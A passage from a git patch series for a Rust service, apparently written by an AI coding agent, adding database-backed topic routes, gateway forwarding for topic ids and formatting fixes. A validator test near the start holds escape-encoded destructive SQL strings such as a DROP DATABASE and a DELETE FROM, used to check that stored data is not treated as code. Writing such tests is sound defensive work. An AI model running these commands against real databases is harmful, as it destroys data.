tb4_scratch' LANGUAGE sql"); +} + +/// The decoding is for **code**, not for data: an escape string a migration +/// merely stores stays a literal, and a body that keeps to the topic's own +/// namespace is still allowed. +#[test] +fn an_escape_string_that_is_data_stays_data() { + allowed(r"INSERT INTO tb4_notes (body) VALUES (E'\x44ROP DATABASE base')"); + allowed(r"INSERT INTO tb4_notes (body) VALUES (U&'\0044ELETE FROM proof_rule_version')"); + allowed( + r"CREATE FUNCTION tb4_f() RETURNS void AS E'INSERT INTO tb4_log (m) VALUES (\x27ok\x27)' LANGUAGE sql", + ); + allowed( + r"CREATE FUNCTION tb4_f() RETURNS text AS E'SELECT ''it\''s'' FROM tb4_scratch' LANGUAGE sql", + ); +} + /// The generic `topic_` prefix is **not** an isolation boundary. /// /// Every topic shares one database, so a bare `topic_scores` is one table that From 81603cb9de9e0d47203d208494d68674b5a31ad5 Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 17:30:17 +0000 Subject: [PATCH 08/11] style(proof): format the branch so cargo fmt --check passes `cargo fmt --all -- --check` is a required gate and these four files were not rustfmt-clean on this branch, so CI's fmt step could not pass. Formatting only: no behavior, no names, no logic. Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- bins/proof-admin/src/drive.rs | 13 +++++++------ bins/proof-admin/src/main.rs | 6 +----- crates/proof-rlm-scorer/src/lib.rs | 3 +-- crates/proof-rlm-scorer/tests/rlm_e2e.rs | 15 ++++++++++++--- 4 files changed, 21 insertions(+), 16 deletions(-) diff --git a/bins/proof-admin/src/drive.rs b/bins/proof-admin/src/drive.rs index b8135626c..092bb4141 100644 --- a/bins/proof-admin/src/drive.rs +++ b/bins/proof-admin/src/drive.rs @@ -91,11 +91,8 @@ pub async fn drive( // The VM boundary. `FirecrackerOrchestrator::from_env` is the same reader // the challenge service uses; the CLI does not re-implement it, so a host // wired for scoring is wired for install and vice versa. - let orchestrator = resolve_orchestrator( - orchestrator_url, - orchestrator_token_file, - rlm_image_digest, - )?; + let orchestrator = + resolve_orchestrator(orchestrator_url, orchestrator_token_file, rlm_image_digest)?; // A baseline is a paid run: without an offer there is nothing to measure // against. `--skip-baseline` is the path that does not need one. if offer.is_none() && !skip_baseline { @@ -162,7 +159,11 @@ fn resolve_orchestrator( for the topic-VM orchestrator. It is re-read per request and never logged." ))); } - if image_digest.map(str::trim).filter(|d| !d.is_empty()).is_none() { + if image_digest + .map(str::trim) + .filter(|d| !d.is_empty()) + .is_none() + { return Err(Failure::Usage(format!( "driving the RLM needs {RLM_VM_IMAGE_DIGEST_ENV}: the sha256 digest of the RLM VM \ image the orchestrator boots. A digest is never invented." diff --git a/bins/proof-admin/src/main.rs b/bins/proof-admin/src/main.rs index 58fe80fdf..6060b41fd 100644 --- a/bins/proof-admin/src/main.rs +++ b/bins/proof-admin/src/main.rs @@ -170,11 +170,7 @@ enum TopicCmd { #[arg(long, env = "PROOF_INFERENCE_OFFER_FILE", value_name = "PATH")] inference_offer_file: Option, /// Owner inference key file the lifecycle's key probe checks. - #[arg( - long, - env = "PROOF_RLM_OWNER_INFERENCE_KEY_FILE", - value_name = "PATH" - )] + #[arg(long, env = "PROOF_RLM_OWNER_INFERENCE_KEY_FILE", value_name = "PATH")] owner_key_file: Option, }, /// List installed topics: a read-only view of `proof_topic_version`. diff --git a/crates/proof-rlm-scorer/src/lib.rs b/crates/proof-rlm-scorer/src/lib.rs index e4bc9e9a6..9575efea0 100644 --- a/crates/proof-rlm-scorer/src/lib.rs +++ b/crates/proof-rlm-scorer/src/lib.rs @@ -36,7 +36,6 @@ mod artefact; mod scorer; - pub use artefact::{ artefact_path, is_safe_entry_path, max_zip_numeric_id, ArtefactBundle, ArtefactError, ArtefactManifest, ArtefactStore, BaselineRef, BestRef, PublicEvent, WrittenArtefact, @@ -45,5 +44,5 @@ pub use artefact::{ REPORT_FILE, }; pub use proof_results::RESULTS_FILE; -pub use scorer::{RlmScorer, DEFAULT_LEASE_TTL}; pub use proof_topic_setup::{SetupError, SetupOutcome, TopicSetup}; +pub use scorer::{RlmScorer, DEFAULT_LEASE_TTL}; diff --git a/crates/proof-rlm-scorer/tests/rlm_e2e.rs b/crates/proof-rlm-scorer/tests/rlm_e2e.rs index 02c454770..9bb6452f1 100644 --- a/crates/proof-rlm-scorer/tests/rlm_e2e.rs +++ b/crates/proof-rlm-scorer/tests/rlm_e2e.rs @@ -1071,7 +1071,10 @@ async fn topic_setup_walks_the_lifecycle_over_the_vm_boundary() { // Approved but no key file: stops at awaiting_owner_keys, nothing provisioned. setup.owner = Arc::new(StaticOwnerHook(OwnerDecision::Approve)); - let err = setup.run(&draft, &pin, Some(&offer())).await.expect_err("no key"); + let err = setup + .run(&draft, &pin, Some(&offer())) + .await + .expect_err("no key"); assert!(err.to_string().contains("owner keys not present"), "{err}"); assert_eq!( rlm_store.lifecycle(&draft.id).await.unwrap().unwrap().state, @@ -1083,7 +1086,10 @@ async fn topic_setup_walks_the_lifecycle_over_the_vm_boundary() { // (custom / agent setup does not gate on FLOP accounting). std::fs::write(&key, "not-a-real-secret\n").unwrap(); orchestrator.set_flops_used(None); - let out = setup.run(&draft, &pin, Some(&offer())).await.expect("setup"); + let out = setup + .run(&draft, &pin, Some(&offer())) + .await + .expect("setup"); assert_eq!(out.rules_version, 1); assert!((out.baseline_primary.expect("measured") - 0.42).abs() < 1e-12); assert_eq!( @@ -1246,7 +1252,10 @@ async fn an_experiment_topic_measures_its_baseline_in_a_dedicated_vm() { spend_cap_usd: None, skip_baseline: false, }; - let out = setup.run(&draft, &pin, Some(&offer())).await.expect("setup"); + let out = setup + .run(&draft, &pin, Some(&offer())) + .await + .expect("setup"); assert!((out.baseline_primary.expect("measured") - 0.61).abs() < 1e-12); assert_eq!( orchestrator.created(), From 9cb9f9805d31d8f56f6a5260b751cbb991f14645 Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 17:40:33 +0000 Subject: [PATCH 09/11] feat(proof): serve a topic's own routes from proof_topic_api MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit An install **wrote** the routes a topic claims into `proof_topic_api`; nothing **read** them, so `/challenge/{topic_id}/…` had no answer and a topic's own API was dead on arrival. Read side (crates/proof-topic-install `routes`): - `TopicRouteMux` resolves `(topic_id, method, path)` against the table and distinguishes a registered route, a method the route did not claim, and a path nobody registered — so the caller answers 405/404 instead of inventing a route. - The cache is keyed by a **generation** (`SELECT count(*)`, sound because migration 0025 grants the app role `SELECT, INSERT` only, so the table is append-only): an install in another process is visible on the next request with no restart and no cross-process signal. `invalidate()` is the in-process form. - An unreadable registry is an error, never a 404. Serving (crates/proof-challenge `topic_routes`, wired in the binary): - `/challenge/{topic_id}/…` answers 200 with the row the install wrote, 405, 404, or **503** when the table cannot be read. - The mux is wired from the same pool the RLM store uses; a host with no database serves the Proof routes alone. - No topic route is compiled in: the table is the registry. Gateway (crates/gateway-core `topic_routes`, crates/gateway proxy): - An id the registry does not know is forwarded to the **Proof** backend with the topic id kept in the path, but only when it is topic-shaped (`^[a-z0-9][a-z0-9-]{1,62}$`, the table's own CHECK). The challenge is the gate, so a non-topic id is a 404 and a mistyped challenge id keeps the registry's own `no healthy backends`. `v1/admin/*` stays blocked. Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- Cargo.lock | 6 + bins/proof-challenge/src/main.rs | 48 ++- crates/gateway-core/Cargo.toml | 1 + crates/gateway-core/src/lib.rs | 4 + crates/gateway-core/src/topic_routes.rs | 140 ++++++++ crates/gateway/src/proxy.rs | 26 +- crates/gateway/tests/proxy_rr.rs | 62 ++++ crates/proof-challenge/Cargo.toml | 5 + crates/proof-challenge/src/lib.rs | 2 + crates/proof-challenge/src/topic_routes.rs | 325 ++++++++++++++++++ crates/proof-topic-install/Cargo.toml | 1 + crates/proof-topic-install/src/lib.rs | 5 + crates/proof-topic-install/src/routes.rs | 231 +++++++++++++ .../tests/install_engine.rs | 48 ++- .../proof-topic-install/tests/topic_routes.rs | 238 +++++++++++++ docs/PROOF.md | 36 ++ 16 files changed, 1161 insertions(+), 17 deletions(-) create mode 100644 crates/gateway-core/src/topic_routes.rs create mode 100644 crates/proof-challenge/src/topic_routes.rs create mode 100644 crates/proof-topic-install/src/routes.rs create mode 100644 crates/proof-topic-install/tests/topic_routes.rs diff --git a/Cargo.lock b/Cargo.lock index 1c64338f6..71de4a9ce 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2080,6 +2080,7 @@ dependencies = [ "axum", "crypto", "db", + "gateway-registry", "hex", "parking_lot", "serde", @@ -3717,21 +3718,25 @@ dependencies = [ name = "proof-challenge" version = "0.1.0" dependencies = [ + "async-trait", "axum", "bundle", "chain", "challenge-common", "crypto", "hex", + "http-body-util", "proof-eval", "proof-executor", "proof-http", "proof-score", "proof-store", "proof-task", + "proof-topic-install", "serde_json", "thiserror 2.0.19", "tokio", + "tower", "tracing", "trustroot", ] @@ -4062,6 +4067,7 @@ dependencies = [ name = "proof-topic-install" version = "0.1.0" dependencies = [ + "async-trait", "db", "proof-canon", "proof-experiment", diff --git a/bins/proof-challenge/src/main.rs b/bins/proof-challenge/src/main.rs index eb8a27607..387b472fa 100644 --- a/bins/proof-challenge/src/main.rs +++ b/bins/proof-challenge/src/main.rs @@ -23,7 +23,7 @@ use challenge_keys::load_challenge_secret; use clap::Parser; use prism_lium::LiumClient; use proof_challenge::{ - executor_slot, hash_admin_token, parse_holdout_file, proof_router, AppState, ArtefactVault, + challenge_router, executor_slot, hash_admin_token, parse_holdout_file, AppState, ArtefactVault, BaselineMeasurement, EvalBackend, EvalExecutorOffer, GatewayClient, GatewayClientConfig, HarvestOverrides, InferenceOffer, LiveScorer, MemoryStore, MinerEnvVault, ProofEmitter, ProofPin, TopicDocument, VmAgentHealth, VmOrchestratorProbe, VmOrchestratorReport, @@ -38,7 +38,10 @@ use proof_rlm::{ }; use proof_rlm_scorer::{max_zip_numeric_id, ArtefactStore, RlmScorer}; use proof_rlm_store::{MemoryRlmStore, PgRlmStore, RlmStore}; +use proof_topic_install::{PgTopicRoutes, TopicRouteMux}; use proof_vm_fc::{parse_custom_ids, FirecrackerOrchestrator, VM_RUNNER_CUSTOM_IDS_ENV}; +use sqlx::PgPool; +use std::sync::Arc; use tokio::net::TcpListener; /// Operator Proof challenge service CLI. @@ -248,7 +251,26 @@ fn run(cli: &Cli) -> Result<(), String> { .build() .map_err(|e| e.to_string())?; - let rlm_store = rt.block_on(resolve_rlm_store(cli))?; + let (rlm_store, pool) = rt.block_on(resolve_rlm_store(cli))?; + // The dynamic topic routes come from the same database: the challenge + // *reads* the route table an install wrote, and answers + // `/challenge/{topic_id}/…` from it. No database → no route table → the + // Proof routes alone (and a topic route is a 404 from the base router, + // never an answer from a table that was never read). + let topic_routes = + pool.map(|pool| Arc::new(TopicRouteMux::new(Arc::new(PgTopicRoutes::new(pool))))); + if topic_routes.is_some() { + tracing::info!( + "topic route mux wired: /challenge/{{topic_id}}/… resolves proof_topic_api \ + (cache keyed by the table's generation, so an install is visible on the next \ + request)" + ); + } else { + tracing::warn!( + "no database configured; the dynamic topic routes are not served (a topic's \ + /challenge/{{topic_id}}/… path answers 404)" + ); + } let harvest = build_live_scorer( backend, cli.eval_timeout_secs, @@ -311,7 +333,7 @@ fn run(cli: &Cli) -> Result<(), String> { Duration::from_secs(cli.queue_drain_poll_secs), )); } - rt.block_on(serve(cli.bind, state)) + rt.block_on(serve(cli.bind, state, topic_routes)) } /// Default seconds between queue-drain passes. @@ -676,13 +698,19 @@ fn database_url(cli: &Cli) -> Result, String> { /// A configured but unreachable database is fatal: falling back to memory /// would silently drop every rule version, checklist, and promotion on /// restart. -async fn resolve_rlm_store(cli: &Cli) -> Result, String> { +/// +/// The pool comes back with the store because the challenge reads a second +/// thing from the same database: the topic route table an install wrote +/// (`proof_topic_api`), which the dynamic mux serves `/challenge/{topic_id}/…` +/// from. `None` means no database was configured, so there is no route table +/// to read. +async fn resolve_rlm_store(cli: &Cli) -> Result<(Arc, Option), String> { let Some(url) = database_url(cli)? else { tracing::warn!( "no database configured; rlm rules, checklists, lifecycle, and promotions are not \ persisted across restarts" ); - return Ok(Arc::new(MemoryRlmStore::new())); + return Ok((Arc::new(MemoryRlmStore::new()), None)); }; let pool = db::connect(&url) .await @@ -691,7 +719,7 @@ async fn resolve_rlm_store(cli: &Cli) -> Result, String> { .await .map_err(|e| format!("database migrate failed: {e}"))?; tracing::info!("rlm store persists to postgres"); - Ok(Arc::new(PgRlmStore::new(pool))) + Ok((Arc::new(PgRlmStore::new(pool.clone())), Some(pool))) } /// Raise the in-memory `pf_…` allocator past every id already used as @@ -977,8 +1005,12 @@ fn load_admin_hashes(path: Option<&Path>) -> Vec { .collect() } -async fn serve(bind: SocketAddr, state: AppState) -> Result<(), String> { - let app = proof_router(state); +async fn serve( + bind: SocketAddr, + state: AppState, + topic_routes: Option>, +) -> Result<(), String> { + let app = challenge_router(state, topic_routes); let listener = TcpListener::bind(bind) .await .map_err(|e| format!("bind {bind}: {e}"))?; diff --git a/crates/gateway-core/Cargo.toml b/crates/gateway-core/Cargo.toml index b64d7a3e5..1bf087973 100644 --- a/crates/gateway-core/Cargo.toml +++ b/crates/gateway-core/Cargo.toml @@ -12,6 +12,7 @@ publish = false axum = { version = "0.8", default-features = false, features = ["http1", "tokio", "json", "query"] } crypto = { path = "../crypto" } db = { path = "../db" } +gateway-registry = { path = "../gateway-registry" } hex = "0.4" parking_lot = "0.12" serde = { version = "1", features = ["derive"] } diff --git a/crates/gateway-core/src/lib.rs b/crates/gateway-core/src/lib.rs index 773702c1a..27319e4b1 100644 --- a/crates/gateway-core/src/lib.rs +++ b/crates/gateway-core/src/lib.rs @@ -6,10 +6,14 @@ //! - [`admin_attest`]: master-only owner credit for non-TEE runtimes. //! - [`weights_store`]: raw-weight leaf row + in-memory store + ingress errors. //! - [`proxy_detach`]: Proof-only disconnect-survive hop + path normalize. +//! - [`topic_routes`]: the `/challenge/{topic_id}/…` rule — a topic id the +//! registry does not know is forwarded to the Proof challenge, which +//! resolves it against `proof_topic_api`. #![forbid(unsafe_code)] pub mod admin_attest; pub mod admin_auth; pub mod proxy_detach; +pub mod topic_routes; pub mod weights_store; diff --git a/crates/gateway-core/src/topic_routes.rs b/crates/gateway-core/src/topic_routes.rs new file mode 100644 index 000000000..de7c7e04d --- /dev/null +++ b/crates/gateway-core/src/topic_routes.rs @@ -0,0 +1,140 @@ +//! Topic routes at the gateway: `/challenge/{topic_id}/…`. +//! +//! A topic publishes the routes it exposes itself. They live in the shared +//! database's `proof_topic_api` table, and the **Proof challenge** serves +//! them (`/challenge/{topic_id}/…`, resolved against that table). The +//! gateway's registry, however, knows only *challenges*: it picks a backend +//! by challenge id (`proof`, `bounty`), so a request addressed to a **topic +//! id** has no backend of its own. +//! +//! This module is the rule that bridges the two, and it is deliberately +//! small and pure so it can be reasoned about without a registry: +//! +//! - A topic-shaped id the registry does not know is forwarded to the +//! **Proof** backend, with the whole `/challenge/{topic_id}/…` path — the +//! topic id is the resolver's key, so it is *not* stripped the way a +//! challenge id is. +//! - The challenge is the gate: it looks the id up in `proof_topic_api` and +//! answers **404** for a topic it does not hold, so a forwarded id that is +//! not a topic costs a lookup and nothing else. +//! - An id that is **not** topic-shaped keeps the registry's own answer +//! (`no healthy backends for challenge_id=…`), so a mistyped challenge id +//! is not silently re-addressed to Proof. +//! +//! The shape is the shared database's own constraint on +//! `proof_topic_api.topic_id` (`'^[a-z0-9][a-z0-9-]{1,62}$'`, migration +//! `0025`), repeated here because the gateway must decide before it has a +//! database. It is also the shape `proof_topic_install::is_topic_id` uses; +//! the constraint is frozen in a migration, so the two cannot drift without +//! a new migration. + +#![forbid(unsafe_code)] + +use gateway_registry::{Backend, Registry}; + +/// The challenge whose topics publish their own routes. +pub const PROOF_CHALLENGE_ID: &str = "proof"; + +/// Whether `id` is shaped like a **topic id**. +/// +/// See the module docs: this is the database's own CHECK, repeated for the +/// one decision the gateway has to make without a database. +#[must_use] +pub fn is_topic_id(id: &str) -> bool { + let mut chars = id.chars(); + let Some(first) = chars.next() else { + return false; + }; + if !(first.is_ascii_lowercase() || first.is_ascii_digit()) { + return false; + } + let rest = chars.as_str(); + (1..=62).contains(&rest.chars().count()) + && rest + .chars() + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') +} + +/// The Proof backend and the path to forward, when `challenge_id` is a +/// **topic id** rather than a registered challenge. +/// +/// `None` for an id that is not topic-shaped, and on a host with no Proof +/// backend: both keep the registry's own `no healthy backends` answer. This +/// is the whole decision the proxy needs, in one call. +#[must_use] +pub fn topic_route( + registry: &Registry, + challenge_id: &str, + rest: &str, +) -> Option<(Backend, String)> { + let backend = topic_route_backend(registry, challenge_id)?; + Some((backend, topic_route_path(challenge_id, rest))) +} + +/// The Proof backend, when `challenge_id` is a **topic id** rather than a +/// registered challenge. +/// +/// `None` for an id that is not topic-shaped, and on a host with no Proof +/// backend: both keep the registry's own `no healthy backends` answer. +#[must_use] +pub fn topic_route_backend(registry: &Registry, challenge_id: &str) -> Option { + if !is_topic_id(challenge_id) { + return None; + } + registry.pick(PROOF_CHALLENGE_ID).ok() +} + +/// The upstream path for a topic route: the whole `/challenge/{topic_id}/…` +/// path, without the leading slash. +/// +/// The topic id is kept because the challenge resolves the route *by* it; a +/// challenge id is stripped instead (the backend's own routes are relative to +/// its challenge). +#[must_use] +pub fn topic_route_path(topic_id: &str, rest: &str) -> String { + let rest = rest.trim_start_matches('/'); + if rest.is_empty() { + format!("challenge/{topic_id}") + } else { + format!("challenge/{topic_id}/{rest}") + } +} + +#[cfg(test)] +mod tests { + use super::*; + + /// The shape is the migration's CHECK: `[a-z0-9]` then 1–62 of + /// `[a-z0-9-]`. + #[test] + fn a_topic_id_is_the_shape_the_table_holds() { + for good in ["tb4", "tbench", "a-b", "t9", &"a".repeat(63)] { + assert!(is_topic_id(good), "{good:?}"); + } + for bad in [ + "", + "t", + "TB4", + "tb_4", + "tb4/", + "/tb4", + "tb4 status", + "-tb4", + &"a".repeat(64), + ] { + assert!(!is_topic_id(bad), "{bad:?}"); + } + } + + /// A challenge id is stripped; a topic id is not. + #[test] + fn a_topic_route_keeps_its_topic_id_in_the_path() { + assert_eq!(topic_route_path("tb4", "status"), "challenge/tb4/status"); + assert_eq!( + topic_route_path("tb4", "/v1/runs/7"), + "challenge/tb4/v1/runs/7" + ); + assert_eq!(topic_route_path("tb4", ""), "challenge/tb4"); + assert_eq!(topic_route_path("tb4", "/"), "challenge/tb4"); + } +} diff --git a/crates/gateway/src/proxy.rs b/crates/gateway/src/proxy.rs index c9484b671..e475fcefd 100644 --- a/crates/gateway/src/proxy.rs +++ b/crates/gateway/src/proxy.rs @@ -101,14 +101,24 @@ async fn proxy_inner( let mut attempted = Vec::new(); for _ in 0..2 { - let backend = match st.registry.pick(&challenge_id) { - Ok(b) => b, + let (backend, upstream_path) = match st.registry.pick(&challenge_id) { + Ok(b) => (b, rest.clone()), + // An id the registry does not know may be a **topic id**: its + // routes live in `proof_topic_api` and the Proof challenge + // serves them (see `gateway_core::topic_routes`). Err(RegistryError::NoBackends(_)) => { - return ( - StatusCode::SERVICE_UNAVAILABLE, - format!("no healthy backends for challenge_id={challenge_id}"), - ) - .into_response(); + let topic = + gateway_core::topic_routes::topic_route(&st.registry, &challenge_id, &rest); + match topic { + Some(pair) => pair, + None => { + return ( + StatusCode::SERVICE_UNAVAILABLE, + format!("no healthy backends for challenge_id={challenge_id}"), + ) + .into_response(); + } + } } Err(e) => { return (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()).into_response(); @@ -120,7 +130,7 @@ async fn proxy_inner( } attempted.push(backend.id); - let url = upstream_url(&backend.base_url, &rest, query.as_deref()); + let url = upstream_url(&backend.base_url, &upstream_path, query.as_deref()); match forward(&st.client, method.clone(), &url, &headers, body.clone()).await { ForwardResult::Ok(mut upstream_resp) => { let status = upstream_resp.status(); diff --git a/crates/gateway/tests/proxy_rr.rs b/crates/gateway/tests/proxy_rr.rs index b909e8e29..bfc75b9d3 100644 --- a/crates/gateway/tests/proxy_rr.rs +++ b/crates/gateway/tests/proxy_rr.rs @@ -668,3 +668,65 @@ async fn proxy_has_no_short_upstream_timeout() { assert!(body.contains("\"id\":\"pf\""), "{body}"); let _ = shutdown.send(()); } + +/// A **topic id** the registry does not know is forwarded to the Proof +/// challenge with the topic id kept in the path, because the topic's routes +/// are resolved *by* it out of `proof_topic_api`. An id that is not +/// topic-shaped keeps the registry's own answer. +#[tokio::test] +async fn a_topic_route_reaches_proof_with_its_topic_id() { + let upstream = MockServer::start().await; + Mock::given(method("GET")) + .and(path("/challenge/tb4/status")) + .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({ + "topic_id": "tb4", + "path": "status", + "registry": "proof_topic_api", + }))) + .mount(&upstream) + .await; + + // Only the challenge is registered: `tb4` has no backend of its own. + let reg = fast_registry(); + reg.create(&CreateBackend { + challenge_id: "proof".into(), + base_url: upstream.uri(), + weight: 1, + }) + .unwrap(); + + let (addr, shutdown) = spawn_gateway(reg).await; + let client = reqwest::Client::new(); + let resp = client + .get(format!("http://{addr}/challenge/tb4/status")) + .send() + .await + .expect("request"); + assert_eq!(resp.status().as_u16(), 200); + let body = resp.text().await.unwrap(); + assert!(body.contains("proof_topic_api"), "{body}"); + // The admin block is decided on the path, not on the id: a topic route + // cannot carry an admin call to the challenge. + let resp = client + .get(format!("http://{addr}/challenge/tb4/v1/admin/proof/topics")) + .send() + .await + .expect("request"); + assert_eq!( + resp.status().as_u16(), + 403, + "admin paths stay blocked for a topic id too" + ); + + // An id that is not topic-shaped is not re-addressed: no Proof backend + // would answer it, so the registry's own refusal stands. + let resp = client + .get(format!("http://{addr}/challenge/Nope!/status")) + .send() + .await + .expect("request"); + assert_eq!(resp.status().as_u16(), 503); + let body = resp.text().await.unwrap(); + assert!(body.contains("no healthy backends"), "{body}"); + let _ = shutdown.send(()); +} diff --git a/crates/proof-challenge/Cargo.toml b/crates/proof-challenge/Cargo.toml index 5da67eb4d..797f1b953 100644 --- a/crates/proof-challenge/Cargo.toml +++ b/crates/proof-challenge/Cargo.toml @@ -9,6 +9,7 @@ rust-version.workspace = true publish = false [dependencies] +axum = { version = "0.8", default-features = false, features = ["http1", "tokio", "json", "query"] } bundle = { path = "../bundle" } chain = { path = "../chain" } challenge-common = { path = "../challenge-common" } @@ -19,6 +20,7 @@ proof-http = { path = "../proof-http" } proof-score = { path = "../proof-score" } proof-store = { path = "../proof-store" } proof-task = { path = "../proof-task" } +proof-topic-install = { path = "../proof-topic-install" } serde_json = "1" thiserror = "2" tokio = { version = "1", features = ["time"] } @@ -26,9 +28,12 @@ tracing = "0.1" trustroot = { path = "../trustroot" } [dev-dependencies] +async-trait = "0.1" axum = "0.8" crypto = { path = "../crypto" } +http-body-util = "0.1" tokio = { version = "1", features = ["macros", "net", "rt", "rt-multi-thread", "time"] } +tower = { version = "0.5", features = ["util"] } [lints] workspace = true diff --git a/crates/proof-challenge/src/lib.rs b/crates/proof-challenge/src/lib.rs index 134eb33c9..e6aabc954 100644 --- a/crates/proof-challenge/src/lib.rs +++ b/crates/proof-challenge/src/lib.rs @@ -11,6 +11,7 @@ use std::collections::{BTreeMap, BTreeSet}; mod emit; +mod topic_routes; use bundle::{NoScoreReasonCode, ScoreOrAbsence}; use challenge_common::{emit_signed_leaf_set, Hotkey, LeafEmitError}; @@ -40,6 +41,7 @@ pub use proof_task::{ CHALLENGE_ID, CHALLENGE_ID_BYTES as PROOF_ID_BYTES, SCORE_MAX as PROOF_SCORE_MAX, SCORING_VERSION, }; +pub use topic_routes::{challenge_router, topic_route_router, REGISTRY_TABLE}; /// Build a D24-complete score map: each expected hotkey is a **sum** of /// WTA/discovery topic masses, or an explicit `NoScore`. diff --git a/crates/proof-challenge/src/topic_routes.rs b/crates/proof-challenge/src/topic_routes.rs new file mode 100644 index 000000000..196e9521d --- /dev/null +++ b/crates/proof-challenge/src/topic_routes.rs @@ -0,0 +1,325 @@ +//! The dynamic topic routes: `/challenge/{topic_id}/…`, answered from the +//! route table an install wrote. +//! +//! A topic's own routes are **topic data**. The install records the paths a +//! topic claims in `proof_topic_api` ([`proof_topic_install`]), and this +//! module is what serves them, so no list of topic routes is compiled into +//! the challenge. +//! +//! | Answer | When | +//! |--------|------| +//! | **200** | the topic registered the path, for this method or for `*`; the body is the row the install wrote | +//! | **405** | the topic registered the path, for another method | +//! | **404** | nothing is registered for that topic and path — an unknown topic is this case | +//! | **503** | the route table could not be read, which is **not** a 404: a 404 would read as "this topic exposes nothing" | +//! +//! The registry is read through [`TopicRouteMux`], whose cache is keyed by the +//! table's generation, so an install in another process (the operator's +//! `proof-admin`) is visible on the next request. +//! +//! # Why the answer is the row, and not a handler +//! +//! The control plane does not interpret a topic's API. An install section +//! records `path`, `method`, and the topic's own `summary` +//! ([`proof_topic_install::section`]), and nothing in this repository decides +//! what a path *means* — a topic that needs a behavior writes it in its own +//! bundle. A registered route therefore answers with the row it resolved: the +//! challenge's public record of what the topic claims, and nothing invented +//! for a path whose semantics live in the topic's bundle. + +use std::sync::Arc; + +use axum::extract::{Path, State}; +use axum::http::{Method, StatusCode}; +use axum::response::{IntoResponse, Response}; +use axum::routing::any; +use axum::{Json, Router}; +use proof_http::{proof_router, AppState}; +use proof_task::CHALLENGE_ID; +use proof_topic_install::routes::{Resolved, TopicRouteMux}; + +/// The table a topic's routes come from, named in every answer so a caller +/// can see the registry resolved this and not a compiled-in list. +pub const REGISTRY_TABLE: &str = "proof_topic_api"; + +/// Mount the routes a topic registered for itself. +/// +/// The prefix is the topic's: a stored path is relative (no leading slash, no +/// `..`), so a row cannot carry a path out of its own namespace. +pub fn topic_route_router(mux: Arc) -> Router { + Router::new() + .route("/challenge/{topic_id}", any(topic_route_root)) + .route("/challenge/{topic_id}/{*path}", any(topic_route)) + .with_state(mux) +} + +/// The challenge's whole HTTP surface: the Proof routes, plus the dynamic +/// routes the installs recorded. +/// +/// `None` is a host that resolved no route table (no database): it serves the +/// Proof routes alone, and a topic route is a 404 from the base router rather +/// than an answer from a table that was never read. +pub fn challenge_router(state: AppState, topic_routes: Option>) -> Router { + let app = proof_router(state); + match topic_routes { + Some(mux) => app.merge(topic_route_router(mux)), + None => app, + } +} + +/// One topic route. +async fn topic_route( + State(mux): State>, + Path((topic_id, path)): Path<(String, String)>, + method: Method, +) -> Response { + match mux.resolve(&topic_id, method.as_str(), &path).await { + Ok(Resolved::Route(route)) => Json(serde_json::json!({ + "challenge_id": CHALLENGE_ID, + "topic_id": topic_id, + "path": route.path, + "method": route.method, + "summary": route.summary, + "registry": REGISTRY_TABLE, + })) + .into_response(), + Ok(Resolved::MethodNotAllowed) => refusal( + StatusCode::METHOD_NOT_ALLOWED, + "topic_route_method_not_registered", + &topic_id, + &path, + ), + Ok(Resolved::NotRegistered) => refusal( + StatusCode::NOT_FOUND, + "topic_route_not_registered", + &topic_id, + &path, + ), + Err(e) => { + // The reason stays in the log: this answer is public, and a + // database error string is operator detail. + tracing::warn!(topic_id = %topic_id, path = %path, "topic route registry read failed: {e}"); + refusal( + StatusCode::SERVICE_UNAVAILABLE, + "topic_route_registry_unavailable", + &topic_id, + &path, + ) + } + } +} + +/// The topic's prefix itself. A stored path is never empty, so nothing is +/// ever registered here. +async fn topic_route_root(Path(topic_id): Path) -> Response { + refusal( + StatusCode::NOT_FOUND, + "topic_route_not_registered", + &topic_id, + "", + ) +} + +/// A refusal body: the status, the reason, and what the caller asked for. +fn refusal(status: StatusCode, error: &str, topic_id: &str, path: &str) -> Response { + ( + status, + Json(serde_json::json!({ + "error": error, + "topic_id": topic_id, + "path": path, + "registry": REGISTRY_TABLE, + "hint": "a topic serves the routes its install recorded in proof_topic_api; a path \ + it did not register is not served here", + })), + ) + .into_response() +} + +#[cfg(test)] +mod tests { + #![allow(clippy::unwrap_used, clippy::expect_used)] + + use super::*; + use std::sync::Mutex; + + use async_trait::async_trait; + use axum::body::Body; + use axum::http::Request; + use proof_eval::EvalBackend; + use proof_http::executor_slot; + use proof_store::MemoryStore; + use proof_task::ProofPin; + use proof_topic_install::{ApiRoute, InstallError, TopicRouteSource}; + use tower::ServiceExt; + + /// A route table, with the generation probe an install moves. + #[derive(Default)] + struct Fake { + rows: Mutex>, + broken: Mutex, + } + + impl Fake { + fn new(rows: Vec<(&str, &str, &str)>) -> Arc { + let fake = Self::default(); + { + let mut held = fake.rows.lock().unwrap(); + for (topic, path, method) in rows { + held.push(( + topic.to_owned(), + ApiRoute { + path: path.to_owned(), + method: method.to_owned(), + summary: format!("{topic} {path}"), + }, + )); + } + } + Arc::new(fake) + } + } + + #[async_trait] + impl TopicRouteSource for Fake { + async fn routes(&self, topic_id: &str) -> Result, InstallError> { + if *self.broken.lock().unwrap() { + return Err(InstallError::Db("registry unavailable".into())); + } + Ok(self + .rows + .lock() + .unwrap() + .iter() + .filter(|(t, _)| t == topic_id) + .map(|(_, r)| r.clone()) + .collect()) + } + + async fn generation(&self) -> Result { + if *self.broken.lock().unwrap() { + return Err(InstallError::Db("registry unavailable".into())); + } + Ok(i64::try_from(self.rows.lock().unwrap().len()).unwrap()) + } + } + + fn mux(fake: Arc) -> Arc { + Arc::new(TopicRouteMux::new(fake)) + } + + /// The status and body of one request against `app`. + async fn ask(app: Router, method: &str, uri: &str) -> (StatusCode, serde_json::Value) { + let response = app + .oneshot( + Request::builder() + .method(method) + .uri(uri) + .body(Body::empty()) + .unwrap(), + ) + 